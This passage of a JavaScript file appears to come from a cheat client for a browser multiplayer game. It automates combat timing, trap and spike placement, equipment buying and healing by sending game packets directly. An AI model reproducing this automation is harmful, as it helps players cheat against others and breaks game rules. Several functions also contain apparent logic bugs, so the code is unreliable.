  4365. this.cAngle += this.circleRadSpd;
  4366. }
  4367. if (this.active) {
  4368.  
  4369. // MOVE:
  4370. let gear = {
  4371. skin: findID(hats, this.skinIndex),
  4372. tail: findID(accessories, this.tailIndex)
  4373. }
  4374. let spdMult = ((this.buildIndex >= 0) ? 0.5 : 1) * (items.weapons[this.weaponIndex].spdMult || 1) * (gear.skin ? (gear.skin.spdMult || 1) : 1) * (gear.tail ? (gear.tail.spdMult || 1) : 1) * (this.y <= config.snowBiomeTop ? ((gear.skin && gear.skin.coldM) ? 1 : config.snowSpeed) : 1) * this.slowMult;
  4375. this.maxSpeed = spdMult;
  4376.  
  4377. }
  4378. };
  4379.  
  4380. let tmpRatio = 0;
  4381. let animIndex = 0;
  4382. this.animate = function(delta) {
  4383. if (this.animTime > 0) {
  4384. this.animTime -= delta;
  4385. if (this.animTime <= 0) {
  4386. this.animTime = 0;
  4387. this.dirPlus = 0;
  4388. tmpRatio = 0;
  4389. animIndex = 0;
  4390. } else {
  4391. if (animIndex == 0) {
  4392. tmpRatio += delta / (this.animSpeed * config.hitReturnRatio);
  4393. this.dirPlus = UTILS.lerp(0, this.targetAngle, Math.min(1, tmpRatio));
  4394. if (tmpRatio >= 1) {
  4395. tmpRatio = 1;
  4396. animIndex = 1;
  4397. }
  4398. } else {
  4399. tmpRatio -= delta / (this.animSpeed * (1 - config.hitReturnRatio));
  4400. this.dirPlus = UTILS.lerp(0, this.targetAngle, Math.max(0, tmpRatio));
  4401. }
  4402. }
  4403. }
  4404. };
  4405.  
  4406. // GATHER ANIMATION:
  4407. this.startAnim = function(didHit, index) {
  4408. this.animTime = this.animSpeed = items.weapons[index].speed;
  4409. this.targetAngle = (didHit ? -config.hitAngle : -Math.PI);
  4410. tmpRatio = 0;
  4411. animIndex = 0;
  4412. };
  4413.  
  4414. // CAN SEE:
  4415. this.canSee = function(other) {
  4416. if (!other) return false;
  4417. let dx = Math.abs(other.x - this.x) - other.scale;
  4418. let dy = Math.abs(other.y - this.y) - other.scale;
  4419. return dx <= (config.maxScreenWidth / 2) * 1.3 && dy <= (config.maxScreenHeight / 2) * 1.3;
  4420. };
  4421.  
  4422. // SHAME SYSTEM:
  4423. this.judgeShame = function() {
  4424. if (this.oldHealth < this.health) {
  4425. if (this.hitTime) {
  4426. let timeSinceHit = Date.now() - this.hitTime;
  4427. this.lastHit = game.tick;
  4428. this.hitTime = 0;
  4429. if (timeSinceHit < 120) {
  4430. this.shameCount++;
  4431. } else {
  4432. this.shameCount = Math.max(0, this.shameCount - 2);
  4433. }
  4434. }
  4435. } else if (this.oldHealth > this.health) {
  4436. this.hitTime = Date.now();
  4437. }
  4438. };
  4439. this.addShameTimer = function() {
  4440. this.shameCount = 0;
  4441. this.shameTimer = 30;
  4442. let interval = setInterval(() => {
  4443. this.shameTimer--;
  4444. if (this.shameTimer <= 0) {
  4445. clearInterval(interval);
  4446. }
  4447. }, 1000);
  4448. };
  4449.  
  4450. // CHECK TEAM:
  4451. this.isTeam = function(tmpObj) {
  4452. return (this == tmpObj || (this.team && this.team == tmpObj.team));
  4453. };
  4454.  
  4455. // FOR THE PLAYER:
  4456. this.findAllianceBySid = function(sid) {
  4457. return this.team ? alliancePlayers.find((THIS) => THIS === sid) : null;
  4458. };
  4459. this.checkCanInsta = function(nobull) {
  4460. let totally = 0;
  4461. if (this.alive && inGame) {
  4462. let primary = {
  4463. weapon: this.weapons[0],
  4464. variant: this.primaryVariant,
  4465. dmg: this.weapons[0] == undefined ? 0 : items.weapons[this.weapons[0]].dmg,
  4466. };
  4467. let secondary = {
  4468. weapon: this.weapons[1],
  4469. variant: this.secondaryVariant,
  4470. dmg: this.weapons[1] == undefined ? 0 : items.weapons[this.weapons[1]].Pdmg,
  4471. };
  4472. let bull = this.skins[7] && !nobull ? 1.5 : 1;
  4473. let pV = primary.variant != undefined ? config.weaponVariants[primary.variant].val : 1;
  4474. if (primary.weapon != undefined && this.reloads[primary.weapon] == 0) {
  4475. totally += primary.dmg * pV * bull;
  4476. }
  4477. if (secondary.weapon != undefined && this.reloads[secondary.weapon] == 0) {
  4478. totally += secondary.dmg;
  4479. }
  4480. if (this.skins[53] && this.reloads[53] <= (player.weapons[1] == 10 ? 0 : game.tickRate) && near.skinIndex != 22) {
  4481. totally += 25;
  4482. }
  4483. totally *= near.skinIndex == 6 ? 0.75 : 1;
  4484. return totally;
  4485. }
  4486. return 0;
  4487. };
  4488.  
  4489. // UPDATE WEAPON RELOAD:
  4490. this.manageReload = function() {
  4491. if (this.shooting[53]) {
  4492. this.shooting[53] = 0;
  4493. this.reloads[53] = (2500 - game.tickRate);
  4494. } else {
  4495. if (this.reloads[53] > 0) {
  4496. this.reloads[53] = Math.max(0, this.reloads[53] - game.tickRate);
  4497. }
  4498. }
  4499.  
  4500. // PREPLACER
  4501. if (this.reloads[this.weaponIndex] <= 1000/9) {
  4502. // place(2, getAttackDir());
  4503. let index = this.weaponIndex;
  4504. let nearObja = liztobj.filter((e) => (e.active || e.alive) && e.health < e.maxHealth && e.group !== undefined && UTILS.getDist(e, player, 0, 2) <= (items.weapons[player.weaponIndex].range + e.scale));
  4505. for(let i = 0; i < nearObja.length; i++) {
  4506. let aaa = nearObja[i];
  4507.  
  4508. let val = items.weapons[index].dmg * (config.weaponVariants[tmpObj[(index < 9 ? "prima" : "seconda") + "ryVariant"]].val) * (items.weapons[index].sDmg || 1) * 3.3;
  4509. let valaa = items.weapons[index].dmg * (config.weaponVariants[tmpObj[(index < 9 ? "prima" : "seconda") + "ryVariant"]].val) * (items.weapons[index].sDmg || 1);
  4510. if(aaa.health - (valaa) <= 0 && near.length) {
  4511. place(near.dist2<((near.scale * 1.8) + 50)?4:2, caf(aaa, player) + Math.PI)
  4512. console.log("preplaced");
  4513. }
  4514. }
  4515. }
  4516.  
  4517. if (this.gathering || this.shooting[1]) {
  4518. if (this.gathering) {
  4519. this.gathering = 0;
  4520. this.reloads[this.gatherIndex] = (items.weapons[this.gatherIndex].speed * (this.skinIndex == 20 ? 0.78 : 1));
  4521. this.attacked = true;
  4522. }
  4523. if (this.shooting[1]) {
  4524. this.shooting[1] = 0;
  4525. this.reloads[this.shootIndex] = (items.weapons[this.shootIndex].speed * (this.skinIndex == 20 ? 0.78 : 1));
  4526. this.attacked = true;
  4527. }
  4528. } else {
  4529. this.attacked = false;
  4530. if (this.buildIndex < 0) {
  4531. if (this.reloads[this.weaponIndex] > 0) {
  4532. // Math.max(0, this.reloads[this.weaponIndex] - game.tickRate)
  4533. this.reloads[this.weaponIndex] = Math.max(0, this.reloads[this.weaponIndex] - 110);
  4534. if (this == player) {
  4535. if (getEl("weaponGrind").checked) {
  4536. for (let i = 0; i < Math.PI * 2; i += Math.PI / 2) {
  4537. checkPlace(player.getItemType(22), i);
  4538. }
  4539. }
  4540. }
  4541. if (this.reloads[this.primaryIndex] == 0 && this.reloads[this.weaponIndex] == 0) {
  4542. this.antiBull++;
  4543. game.tickBase(() => {
  4544. this.antiBull = 0;
  4545. }, 1);
  4546. }
  4547. }
  4548. }
  4549. }
  4550. };
  4551. // PREPLACER
  4552. let closestBuild = [];
  4553.  
  4554. function findTargetBuildToSpike(checkSpike, trapDistance, targetDistance, targetAngle) {
  4555. if (!document.getElementById('sp').checked) return;
  4556. if (!enemy.length) return;
  4557.  
  4558. // En yakın inşa edilebilir nesneyi bul
  4559. closestBuild = gameObjects.filter(obj => obj.active && obj.buildHealth)
  4560. .sort((a, b) => UTILS.getDist(a, player, 0, 2) - UTILS.getDist(b, player, 0, 2))[0];
  4561.  
  4562. if (!closestBuild) return;
  4563.  
  4564. // Parametreleri ayarla (büyük ihtimalle mesafe, açı gibi)
  4565. checkSpike = 250;
  4566. trapDistance = 250;
  4567. targetDistance = UTILS.getDist(closestBuild, player, 0, 2);
  4568. targetAngle = UTILS.getDirect(closestBuild, player, 0, 2);
  4569.  
  4570. // Spike atma koşullarını kontrol et
  4571. if (player.alive && targetDistance < checkSpike && near.dist2 < trapDistance &&
  4572. !traps.in && !instaC.isTrue && !instaC.canSpikeTick && !clicks.middle && !clicks.left) {
  4573.  
  4574. // Hedefin canı yeterince düşükse...
  4575. if (closestBuild.buildHealth < items.weapons[player.weapons[1] == 10 ? player.weapons[1] : player.weapons[0]].dmg * 2) {
  4576.  
  4577. if (document.getElementById('stype').value == "D") {
  4578. // D tuşu stiline göre spike yerleştir
  4579. for (let i = 0; i < 6; i++) {
  4580. let angle = i + 45 * (i % 2 ? -1 : 1) / 180 * Math.PI + near.aim2;
  4581. checkPlace(2, i);
  4582. }
  4583. } else {
  4584. // Farklı bir spike stili
  4585. for (let i = 0; i < 4; i++) {
  4586. let angle = i + 45 * (i % 2 ? -1 : 1) / 180 * Math.PI + near.aim2;
  4587. checkPlace(2, i);
  4588. }
  4589. }
  4590. }
  4591. }
  4592. }
  4593.  
  4594. this.preplacer = function () {
  4595. if (traps.inTrap) return;
  4596. if (!configs.autoPrePlace) return;
  4597.  
  4598. const weaponRange = items.weapons[player.weaponIndex].range + 70;
  4599. const rangeSquared = weaponRange ** 2;
  4600. const { x2: playerX, y2: playerY } = player;
  4601.  
  4602. const lowHealthGameObjects = gameObjects.filter(gameObject => {
  4603. const { x2, y2, buildHealth } = gameObject;
  4604. const distSquared = (x2 - playerX) ** 2 + (y2 - playerY) ** 2;
  4605. return near && buildHealth <= 272.58 && distSquared <= rangeSquared;
  4606. });
  4607.  
  4608. if (lowHealthGameObjects.length > 0) {
  4609. const { x2, y2 } = lowHealthGameObjects[0];
  4610. const objAim = UTILS.getDirect({ x2, y2 }, player, 0, 2);
  4611. const trapPlacementRadius = 70;
  4612.  
  4613. let enemyVelocity = Math.sqrt(near.xVel * near.xVel + near.yVel * near.yVel);
  4614. let enemyDirection = Math.atan2(near.yVel, near.xVel);
  4615.  
  4616. let bestAngle = null;
  4617. let bestDistance = Infinity;
  4618.  
  4619. for (let i = 0; i < 360; i += 30) {
  4620. let simulatedAngle = UTILS.deg2rad(i);
  4621. let distance =
  4622. UTILS.getDist(near, player, 0, 2) +
  4623. enemyVelocity * Math.sin(enemyDirection) +
  4624. trapPlacementRadius;
  4625.  
  4626. if (distance < bestDistance) {
  4627. bestDistance = distance;
  4628. bestAngle = simulatedAngle;
  4629. }
  4630. }
  4631.  
  4632. const trapPlacementTime = 5;
  4633. const timeToBreak = (lowHealthGameObjects[0].buildHealth - player.damage) / (player.damagePerShot - lowHealthGameObjects[0].absorb);
  4634. const enemyTimeToMoveOut = bestDistance / enemyVelocity;
  4635.  
  4636. if (timeToBreak + trapPlacementTime <= enemyTimeToMoveOut) {
  4637. this.testCanPlace(4, bestAngle, bestAngle + Math.PI * 2, Math.PI / 24, objAim, trapPlacementRadius);
  4638. }
  4639. }
  4640. };
  4641. // FOR ANTI INSTA:
  4642. this.addDamageThreat = function(tmpObj) {
  4643. let primary = {
  4644. weapon: this.primaryIndex,
  4645. variant: this.primaryVariant
  4646. };
  4647. primary.dmg = primary.weapon == undefined ? 45 : items.weapons[primary.weapon].dmg;
  4648. let secondary = {
  4649. weapon: this.secondaryIndex,
  4650. variant: this.secondaryVariant
  4651. };
  4652. secondary.dmg = secondary.weapon == undefined ? 35 : items.weapons[secondary.weapon].Pdmg;
  4653. let bull = 1.5;
  4654. let pV = primary.variant != undefined ? config.weaponVariants[primary.variant].val : 1.18;
  4655. let sV = secondary.variant != undefined ? [9, 12, 13, 15].includes(secondary.weapon) ? 1 : config.weaponVariants[secondary.variant].val : 1.18;
  4656. if (primary.weapon == undefined ? true : this.reloads[primary.weapon] == 0) {
  4657. this.damageThreat += primary.dmg * pV * bull;
  4658. }
  4659. if (secondary.weapon == undefined ? true : this.reloads[secondary.weapon] == 0) {
  4660. this.damageThreat += secondary.dmg * sV;
  4661. }
  4662. if (this.reloads[53] <= game.tickRate) {
  4663. this.damageThreat += 25;
  4664. }
  4665. this.damageThreat *= tmpObj.skinIndex == 6 ? 0.75 : 1;
  4666. if (!this.isTeam(tmpObj)) {
  4667. if (this.dist2 <= 300) {
  4668. tmpObj.damageThreat += this.damageThreat;
  4669. }
  4670. }
  4671. };
  4672. // ANTI
  4673. this.addDamageProbability = function(tmpObj) {
  4674. let primary = {
  4675. weapon: this.primaryIndex,
  4676. variant: this.primaryVariant
  4677. };
  4678. primary.dmg = primary.weapon == undefined ? 45 : items.weapons[primary.weapon].dmg;
  4679. let secondary = {
  4680. weapon: this.secondaryIndex,
  4681. variant: this.secondaryVariant
  4682. };
  4683. secondary.dmg = secondary.weapon == undefined ? 50 : items.weapons[secondary.weapon].Pdmg;
  4684. let bull = 1.5;
  4685. let pV = primary.variant != undefined ? config.weaponVariants[primary.variant].val : 1.18;
  4686. let sV = secondary.variant != undefined ? [9, 12, 13, 15].includes(secondary.weapon) ? 1 : config.weaponVariants[secondary.variant].val : 1.18;
  4687. if (primary.weapon == undefined ? true : this.reloads[primary.weapon] == 0) {
  4688. this.damageProbably += primary.dmg * pV * bull * 0.75;
  4689. }
  4690. if (secondary.weapon == undefined ? true : this.reloads[secondary.weapon] == 0) {
  4691. this.damageProbably += secondary.dmg * sV;
  4692. }
  4693. this.damageProbably *= 0.75;
  4694. if (!this.isTeam(tmpObj)) {
  4695. if (this.dist2 <= 300) {
  4696. tmpObj.damageProbably += this.damageProbably;
  4697. }
  4698. }
  4699. };
  4700. }
  4701. };
  4702.  
  4703. // SOME CODES:
  4704. function sendUpgrade(index) {
  4705. player.reloads[index] = 0;
  4706. packet("H", index);
  4707. }
  4708.  
  4709. function storeEquip(id, index) {
  4710. packet("c", 0, id, index);
  4711. }
  4712.  
  4713. function storeBuy(id, index) {
  4714. packet("c", 1, id, index);
  4715. }
  4716.  
  4717. function buyEquip(id, index) {
  4718. let nID = player.skins[6] ? 6 : 0;
  4719. if (player.alive && inGame) {
  4720. if (index == 0) {
  4721. if (player.skins[id]) {
  4722. if (player.latestSkin != id) {
  4723. packet("c", 0, id, 0);
  4724. }
  4725. } else {
  4726. if (configs.autoBuyEquip) {
  4727. let find = findID(hats, id);
  4728. if (find) {
  4729. if (player.points >= find.price) {
  4730. packet("c", 1, id, 0);
  4731. packet("c", 0, id, 0);
  4732. } else {
  4733. if (player.latestSkin != nID) {
  4734. packet("c", 0, nID, 0);
  4735. }
  4736. }
  4737. } else {
  4738. if (player.latestSkin != nID) {
  4739. packet("c", 0, nID, 0);
  4740. }
  4741. }
  4742. } else {
  4743. if (player.latestSkin != nID) {
  4744. packet("c", 0, nID, 0);
  4745. }
  4746. }
  4747. }
  4748. } else if (index == 1) {
  4749. if (useWasd && (id != 11 && id != 0)) {
  4750. if (player.latestTail != 0) {
  4751. packet("c", 0, 0, 1);
  4752. }
  4753. return;
  4754. }
  4755. if (player.tails[id]) {
  4756. if (player.latestTail != id) {
  4757. packet("c", 0, id, 1);
  4758. }
  4759. } else {
  4760. if (configs.autoBuyEquip) {
  4761. let find = findID(accessories, id);
  4762. if (find) {
  4763. if (player.points >= find.price) {
  4764. packet("c", 1, id, 1);
  4765. packet("c", 0, id, 1);
  4766. } else {
  4767. if (player.latestTail != 0) {
  4768. packet("c", 0, 0, 1);
  4769. }
  4770. }
  4771. } else {
  4772. if (player.latestTail != 0) {
  4773. packet("c", 0, 0, 1);
  4774. }
  4775. }
  4776. } else {
  4777. if (player.latestTail != 0) {
  4778. packet("c", 0, 0, 1);
  4779. }
  4780. }
  4781. }
  4782. }
  4783. }
  4784. }
  4785.  
  4786. function selectToBuild(index, wpn) {
  4787. packet("G", index, wpn);
  4788. }
  4789.  
  4790. function selectWeapon(index, isPlace) {
  4791. if (!isPlace) {
  4792. player.weaponCode = index;
  4793. }
  4794. packet("G", index, 1);
  4795. }
  4796.  
  4797. function sendAutoGather() {
  4798. packet("K", 1, 1);
  4799. }
  4800.  
  4801. function sendAtck(id, angle) {
  4802. packet("d", id, angle, 1);
  4803. }
  4804.  
  4805. // PLACER:
  4806. function place(id, rad, rmd) {
  4807. try {
  4808. if (id == undefined) return;
  4809. let item = items.list[player.items[id]];
  4810. let tmpS = player.scale + item.scale + (item.placeOffset || 0);
  4811. let tmpX = player.x2 + tmpS * Math.cos(rad);
  4812. let tmpY = player.y2 + tmpS * Math.sin(rad);
  4813. if ((player.alive && inGame && player.itemCounts[item.group.id] == undefined ? true : player.itemCounts[item.group.id] < (config.isSandbox ? 299 : item.group.limit ? item.group.limit : 99))) {
  4814. selectToBuild(player.items[id]);
  4815. sendAtck(1, rad);
  4816. selectWeapon(player.weaponCode, 1);
  4817. if (rmd && getEl("placeVis").checked) {
  4818. placeVisible.push({
  4819. x: tmpX,
  4820. y: tmpY,
  4821. name: item.name,
  4822. scale: item.scale,
  4823. dir: rad
  4824. });
  4825. game.tickBase(() => {
  4826. placeVisible.shift();
  4827. }, 1)
  4828. }
  4829. }
  4830. } catch (e) {}
  4831. }
  4832.  
  4833. function checkPlace(id, rad) {
  4834. try {
  4835. if (id == undefined) return;
  4836. let item = items.list[player.items[id]];
  4837. let tmpS = player.scale + item.scale + (item.placeOffset || 0);
  4838. let tmpX = player.x2 + tmpS * Math.cos(rad);
  4839. let tmpY = player.y2 + tmpS * Math.sin(rad);
  4840. if (objectManager.checkItemLocation(tmpX, tmpY, item.scale, 0.6, item.id, false, player)) {
  4841. place(id, rad, 1);
  4842. }
  4843. } catch (e) {}
  4844. }
  4845. // SYNC:
  4846. function musketSync() {
  4847. if (getEl("syncType").value === "s1") {
  4848. var musketCheckbox = document.getElementById("musketSync");
  4849. if (musketCheckbox && musketCheckbox.checked) {
  4850. my.autoAim = true;
  4851. selectWeapon(player.weapons[0]);
  4852. buyEquip(7, 0);
  4853. sendAutoGather();
  4854. game.tickBase(() => {
  4855. selectWeapon(player.weapons[1]);
  4856. buyEquip(player.reloads[53] === 0 ? 53 : 6, 0);
  4857. game.tickBase(() => {
  4858. sendAutoGather();
  4859. my.autoAim = false;
  4860. }, 3);
  4861. }, 2);
  4862. }
  4863. }
  4864. if (getEl("syncType").value === "s2") {
  4865. my.autoAim = true;
  4866. game.tickBase(() => {
  4867. instaC.isTrue = true;
  4868. selectWeapon(player.weapons[1]);
  4869. buyEquip(53, 0);
  4870. buyEquip(0, 1);
  4871. sendAutoGather();
  4872. game.tickBase(() => {
  4873. my.autoAim = false;
  4874. instaC.isTrue = false;
  4875. sendAutoGather();
  4876. }, 1);
  4877. }, 1);
  4878. }
  4879. }
  4880.  
  4881. // HEALING:
  4882. function soldierMult() {
  4883. return player.latestSkin == 6 ? 0.75 : 1;
  4884. }
  4885.  
  4886. // ADVANCED:
  4887. function applCxC(value) {
  4888. if (player.health == 100) return 0;
  4889. if (player.skinIndex != 70 && player.skinIndex != 75) {
  4890. return Math.ceil(value / items.list[player.items[0]].healing);
  4891. }
  4892. return 0;
  4893. }
  4894. function healthBased() {
  4895. if (player.health == 100)
  4896. return 0;
  4897. if ((player.skinIndex != 45 && player.skinIndex != 56)) {
  4898. return Math.ceil((100 - player.health) / items.list[player.items[0]].healing);
  4899. }
  4900. return 0;
  4901. }
  4902. function calcDmg(value) {
  4903. return value * player.skinIndex == 6 ? 0.75 : 1;
  4904. }
  4905. function healer() {
  4906. for (let i = 0; i < healthBased(); i++) {
  4907. place(0, getAttackDir());
  4908. }
  4909. }
  4910.  
  4911. function getAttacker(damaged) {
  4912. let attackers = enemy.filter(tmp => {
  4913. //let damages = new Damages(items);
  4914. //let dmg = damages.weapons[tmp.weaponIndex];
  4915. //let by = tmp.weaponIndex < 9 ? [dmg[0], dmg[1], dmg[2], dmg[3]] : [dmg[0], dmg[1]];
  4916. let rule = {
  4917. //one: tmp.dist2 <= 300,
  4918. //two: by.includes(damaged),
  4919. three: tmp.attacked
  4920. }
  4921. return /*rule.one && rule.two && */ rule.three;
  4922. });
  4923. return attackers;
  4924. }
  4925.  
  4926. // LATER:
  4927. function predictHeal() { }
  4928. function antiSyncHealing(timearg) {
  4929. my.antiSync = true;
  4930. let healAnti = setInterval(() => {
  4931. if (player.shameCount < 0) {
  4932. place(0, getAttackDir());
  4933. }
  4934. }, 75);
  4935. setTimeout(() => {
  4936. clearInterval(healAnti);
  4937. setTimeout(() => {
  4938. my.antiSync = false;
  4939. }, game.tickRate);
  4940. }, game.tickRate);
  4941. }
  4942. const placedSpikePositions = new Set();
  4943. const placedTrapPositions = new Set();
  4944. function isPositionValid(position) {
  4945. const playerX = player.x2;
  4946. const playerY = player.y2;
  4947. const distToPosition = Math.hypot(position[0] - playerX, position[1] - playerY);
  4948. return distToPosition > 35;
  4949. }
  4950. function findAllianceBySid(sid) {
  4951. return player.team ? alliancePlayers.find((THIS) => THIS === sid) : null;
  4952. }
  4953. function calculatePossibleTrapPositions(x, y, radius) {
  4954. const trapPositions = [];
  4955. const numPositions = 16;
  4956. for (let i = 0; i < numPositions; i++) {
  4957. const angle = (2 * Math.PI * i) / numPositions;
  4958. const offsetX = x + radius * Math.cos(angle);
  4959. const offsetY = y + radius * Math.sin(angle);
  4960. const position = [offsetX, offsetY];
  4961. if (!trapPositions.some((pos) => isPositionTooClose(position, pos))) {
  4962. trapPositions.push(position);
  4963. }
  4964. }
  4965. return trapPositions;
  4966. }
  4967. function isPositionTooClose(position1, position2, minDistance = 50) {
  4968. const dist = Math.hypot(position1[0] - position2[0], position1[1] - position2[1]);
  4969. return dist < minDistance;
  4970. }
  4971. function biomeGear(mover, returns) {
  4972. if (player.y2 >= config.mapScale / 2 - config.riverWidth / 2 && player.y2 <= config.mapScale / 2 + config.riverWidth / 2) {
  4973. if (returns) return 31;
  4974. buyEquip(31, 0);
  4975. } else {
  4976. if (player.y2 <= config.snowBiomeTop) {
  4977. if (returns) return mover && player.moveDir == undefined ? 22 : 15;
  4978. buyEquip(mover && player.moveDir == undefined ? 22 : 15, 0);
  4979. } else {
  4980. if (returns) return mover && player.moveDir == undefined ? 22 : 12;
  4981. buyEquip(mover && player.moveDir == undefined ? 22 : 12, 0);
  4982. }
  4983. }
  4984. if (returns) return 0;
  4985. }
  4986. function woah(mover) {
  4987. buyEquip(mover && player.moveDir == undefined ? 0 : 11, 1);
  4988. }
  4989. let advHeal = [];
  4990. class Traps {
  4991. constructor(UTILS, items) {
  4992. this.dist = 0;
  4993. this.aim = 0;
  4994. this.inTrap = false;
  4995. this.replaced = false;
  4996. this.antiTrapped = false;
  4997. this.info = {};
  4998. this.notFast = function() {
  4999. return player.weapons[1] == 10 && ((this.info.health > items.weapons[player.weapons[0]].dmg) || player.weapons[0] == 5);
  5000. }
  5001. this.testCanPlace = function (id, first = -(Math.PI / 2), repeat = (Math.PI / 2), plus = (Math.PI / 18), radian, replacer, yaboi) {
  5002. try {
  5003. let item = items.list[player.items[id]];
  5004. let tmpS = player.scale + item.scale + (item.placeOffset || 0);
  5005. let counts = {
  5006. attempts: 0,
  5007. placed: 0
  5008. };
  5009. let tmpObjects = [];
  5010. gameObjects.forEach((p) => {
  5011. tmpObjects.push({
  5012. x: p.x,
  5013. y: p.y,
  5014. active: p.active,
  5015. blocker: p.blocker,
  5016. scale: p.scale,
  5017. isItem: p.isItem,
  5018. type: p.type,
  5019. colDiv: p.colDiv,
  5020. getScale: function(sM, ig) {
  5021. sM = sM||1;
  5022. return this.scale * ((this.isItem||this.type==2||this.type==3||this.type==4)
  5023. ?1:(0.6*sM)) * (ig?1:this.colDiv);
  5024. },
  5025. });
  5026. });
  5027. for (let i = first; i < repeat; i += plus) {
  5028. counts.attempts++;
  5029. let relAim = radian + i;
  5030. let tmpX = player.x2 + tmpS * Math.cos(relAim);
  5031. let tmpY = player.y2 + tmpS * Math.sin(relAim);
  5032. let cantPlace = tmpObjects.find((tmp) => tmp.active && UTILS.getDistance(tmpX, tmpY, tmp.x, tmp.y) < item.scale + (tmp.blocker ? tmp.blocker : tmp.getScale(0.6, tmp.isItem)));
  5033. if (cantPlace) continue;
  5034. if (item.id != 18 && tmpY >= config.mapScale / 2 - config.riverWidth / 2 && tmpY <= config.mapScale / 2 + config.riverWidth / 2) continue;
  5035. if ((!replacer && yaboi) || useWasd) {
  5036. if (useWasd ? false : yaboi.inTrap) {
  5037. if (UTILS.getAngleDist(near.aim2 + Math.PI, relAim + Math.PI) <= Math.PI) {
  5038. place(2, relAim, 1);
  5039. } else {
  5040. player.items[4] == 15 && place(4, relAim, 1);
  5041. }
  5042. } else {
  5043. if (UTILS.getAngleDist(near.aim2, relAim) <= config.gatherAngle / 1.5) {
  5044. place(2, relAim, 1);
  5045. } else {
  5046. player.items[4] == 15 && place(4, relAim, 1);
  5047. }
  5048. }
  5049. } else {
  5050. place(id, relAim, 1);
  5051. }
  5052. tmpObjects.push({
  5053. x: tmpX,
  5054. y: tmpY,
  5055. active: true,
  5056. blocker: item.blocker,
  5057. scale: item.scale,
  5058. isItem: true,
  5059. type: null,
  5060. colDiv: item.colDiv,
  5061. getScale: function() {
  5062. return this.scale;
  5063. },
  5064. });
  5065. if (UTILS.getAngleDist(near.aim2, relAim) <= 1) {
  5066. counts.placed++;
  5067. }
  5068. }
  5069. if (counts.placed > 0 && replacer && item.dmg) {
  5070. if (near.dist2 <= items.weapons[player.weapons[0]].range + (player.scale * 1.8) && configs.spikeTick) {
  5071. instaC.canSpikeTick = true;
  5072. }
  5073. }
  5074. } catch (err) {
  5075. }
  5076. };
  5077. this.checkSpikeTick = function() {
  5078. try {
  5079. if (![3, 4, 5].includes(near.primaryIndex)) return false;
  5080. if ((getEl("safeAntiSpikeTick").checked || my.autoPush) ? false : near.primaryIndex == undefined ? true : (near.reloads[near.primaryIndex] > game.tickRate)) return false;
  5081. // more range for safe. also testing near.primaryIndex || 5
  5082. if (near.dist2 <= items.weapons[near.primaryIndex || 5].range + (near.scale * 1.8)) {
  5083. let item = items.list[9];
  5084. let tmpS = near.scale + item.scale + (item.placeOffset || 0);
  5085. let danger = 0;
  5086. let counts = {
  5087. attempts: 0,
  5088. block: `unblocked`
  5089. };
  5090. for (let i = -1; i <= 1; i += 1/10) {
  5091. counts.attempts++;
  5092. let relAim = UTILS.getDirect(player, near, 2, 2) + i;
  5093. let tmpX = near.x2 + tmpS * Math.cos(relAim);
  5094. let tmpY = near.y2 + tmpS * Math.sin(relAim);
  5095. let cantPlace = gameObjects.find((tmp) => tmp.active && UTILS.getDistance(tmpX, tmpY, tmp.x, tmp.y) < item.scale + (tmp.blocker ? tmp.blocker : tmp.getScale(0.6, tmp.isItem)));
  5096. if (cantPlace) continue;
  5097. if (tmpY >= config.mapScale / 2 - config.riverWidth / 2 && tmpY <= config.mapScale / 2 + config.riverWidth / 2) continue;
  5098. danger++;
  5099. counts.block = `blocked`;
  5100. break;
  5101. }
  5102. if (danger) {
  5103. my.anti0Tick = 1;
  5104. player.chat.message = "Anti " + near.sid;
  5105. player.chat.count = 2000;
  5106. return true;
  5107. }
  5108. }
  5109. } catch (err) {
  5110. return null;
  5111. }
  5112. return false;
  5113. }
  5114. this.protect = function (aim) {
  5115. if (!configs.antiTrap) return;
  5116. if (player.items[4]) {
  5117. this.testCanPlace(2, -(Math.PI / 2), (Math.PI / 2), (Math.PI / 18), aim + Math.PI);
  5118. this.antiTrapped = true;
  5119. }
  5120. };
  5121. let placedSpikePositions = new Set();
  5122. let placedTrapPositions = new Set();
  5123.  
  5124. function isBroken() {
  5125.  
  5126. }
  5127. this.testPrePlace = function () {
  5128.  
  5129. }
  5130. /* this.autoPlace = function () {
  5131. if (configs.autoPlace && game.tick % (Math.max(1, parseInt(getEl("autoPlaceTick").value)) || 1) === 0) {
  5132. try {
  5133. const trap1 = gameObjects
  5134. .filter((e) => e.trap && e.active)
  5135. .sort((a, b) => UTILS.getDist(a, near, 0, 2) - UTILS.getDist(b, near, 0, 2))
  5136. .find((trap) => {
  5137. const trapDist = Math.hypot(trap.y - near.y2, trap.x - near.x2);
  5138. return (
  5139. trap !== player &&
  5140. (player.sid === trap.owner.sid || findAllianceBySid(trap.owner.sid)) &&
  5141. trapDist <= 50
  5142. );
  5143. });
  5144. if (this.inTrap) {
  5145. let antiTrapAngles = Math.PI / Math.floor(Math.random() * (20 - 10 + 1)) + 10;
  5146. this.testCanPlace(4, -(Math.PI / 2), (Math.PI / 2), antiTrapAngles, near.aim2);
  5147. } else {
  5148. if (trap1 && near.dist2 <= 180) {
  5149. const trapX = trap1.x;
  5150. const trapY = trap1.y;
  5151. const circleRadius = 102;
  5152. const numPositions = 64;
  5153. for (let i = 0; i < numPositions; i++) {
  5154. const angle = (2 * Math.PI * i) / numPositions;
  5155. const offsetX = trapX + circleRadius * Math.cos(angle);
  5156. const offsetY = trapY + circleRadius * Math.sin(angle);
  5157. const position = [offsetX, offsetY];
  5158. const distToPlayer = Math.hypot(position[0] - player.x2, position[1] - player.y2);
  5159. if (
  5160. isPositionValid(position) &&
  5161. distToPlayer <= 87
  5162. ) {
  5163. const angleToPlace = Math.atan2(position[1] - player.y2, position[0] - player.x2);
  5164. checkPlace(2, angleToPlace);
  5165. }
  5166. }
  5167. } else if (!trap1 && near.dist2 <= 206) {
  5168. const maxTrapsToPlace = 3;
  5169. const trapRadius = 50;
  5170. const trapPositions = calculatePossibleTrapPositions(player.x2, player.y2, trapRadius);
  5171. let trapsPlaced = 0;
  5172. for (const position of trapPositions) {
  5173. if (
  5174. trapsPlaced < maxTrapsToPlace &&
  5175. isPositionValid(position)
  5176. ) {
  5177. checkPlace(4, ...position);
  5178. trapsPlaced++;
  5179. }
  5180. }
  5181. }
  5182. }
  5183. } catch (e) {
  5184. console.log(e);
  5185. }
  5186. }
  5187. };*/
  5188. this.autoPlace = function () { //speed place poor
  5189. if (getEl("autoPlacetype").value == "spamtrap2") {
  5190. if (game.tick % 0.5 === 0)
  5191. try {
  5192. if (configs.autoPlace) {
  5193. const dist = near.dist2;
  5194. const trap = gameObjects
